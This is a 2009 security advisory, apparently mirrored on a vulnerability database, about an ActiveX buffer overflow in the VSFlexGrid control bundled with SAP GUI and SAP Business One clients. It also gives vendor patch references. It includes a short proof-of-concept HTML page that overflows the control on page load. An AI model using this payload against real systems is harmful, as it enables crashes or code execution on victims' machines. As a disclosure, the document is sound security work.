SAP GUI VSFlexGrid Active-X Buffer Overflow

🗓️ 08 Oct 2009 00:00:00Reported by Sh2kerrType
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SAP GUI VSFlexGrid Active-X Buffer Overflow affecting SAP GUI and SAP Business One 2005/2007 Client
`Application: SAP GUI VSFlexGrid.VSFlexGridL (Part of SAP GUI, SAP BO 2005, SAP BO 2007 )  
Versions Affected: SAP GUI VSFlexGrid Activex Control sp<=14  
Vendor URL: http://SAP.com  
Bugs: Buffer Overflovw  
Exploits: YES  
Reported: 26.11.2008  
Vendor response: 27.11.208  
Public Advisory: 06.10.2009  
Originaly found by: Elazar Broad  
Author: Alexander Polyakov from Digital Security Research Group [DSecRG]  
  
Description  
***********  
  
Component VSFlexGrid vulnerable to Buffer Overflow which was published in 2007 and not patched in SAPGUI untill this moment.  
This component and included in default SAPGUI installation.  
  
Details  
*******  
  
Information about this vulnerability in public since 2007 (http://www.securityfocus.com/bid/26467/info)  
We found that wulnerable component VSFlexGrid is still not patched and is using in default SAP GUI Client installations  
  
Tested on:  
SAP Business One 2007 Client  
SAP Business One 2005 Client  
SAP GUI 7.10 (7100.2.7.1038)  
  
  
So every SAP client is vulnerable to remote buffer overflow.   
  
  
Attacker can construct html page which call vulnerable function "Acrchive" from ActiveX Object VSFlex7L   
with long parameter "ArcFileName".  
  
  
  
ActiveX component: VSFlexGrid   
path: c:\program files\sap\frontend\sapgui\vsflex7l.ocx  
object classid: C0A63B86-4B21-11D3-BD95-D426EF2C7949  
  
  
prototype = "Sub Archive ( ByVal ArcFileName As String , ByVal FileName As String , ByVal Action As ArchiveSettings )"  
memberName = "Archive"  
progid = "VSFlex7L.VSFlexGrid"  
argCount = 3  
  
  
Example  
*******  
  
from   
  
<!--  
written by e.b.  
-->  
<html>  
<head>  
<script language="JavaScript" DEFER>  
function Check() {  
var s = "AAAA";  
  
while (s.length < 262145) s=s+s;  
  
var obj = new ActiveXObject("VSFlexGrid.VSFlexGridL");  
  
obj.Text = s;  
obj.EditSelText = s;   
obj.EditText = s;  
obj.CellFontName = s;  
}  
</script>  
  
</head>   
<body onload="JavaScript: return Check();" />  
</html>  
  
  
  
  
Fix Information  
***************  
SAP have two different SAP notes to address this issue:  
  
FOR SAP Business One Client   
The security issue is addressed with SAP note 1327004 (patch was released on July 8, 2009)  
For SAP GUI  
The security issue is addressed with SAP note 1092631 (patch was released on July 25, 2008)  
  
  
  
References  
**********  
  
http://dsecrg.com/pages/vul/show.php?id=117  
https://service.sap.com/sap/support/notes/1327004  
https://service.sap.com/sap/support/notes/1092631  
http://www.securityfocus.com/bid/26467/info  
  
  
About  
*****  
  
Digital Security is one of the leading IT security companies in CEMEA, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.  
  
  
Contact: research [at] dsecrg [dot] com  
http://www.dsecrg.com  
  
  
  
  
  
  
  
  
  
  
Regards,  
Digital Security Research Group [DSecRG]  
________________________________________  
DIGITAL SECURITY  
tel/fax: +7(812)703-1547  
tel: +7(812)430-9130  
e-mail: [email protected]  
web: www.dsecrg.com  
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08 Oct 2009 00:00Current
0.7Low risk
Vulners AI Score0.7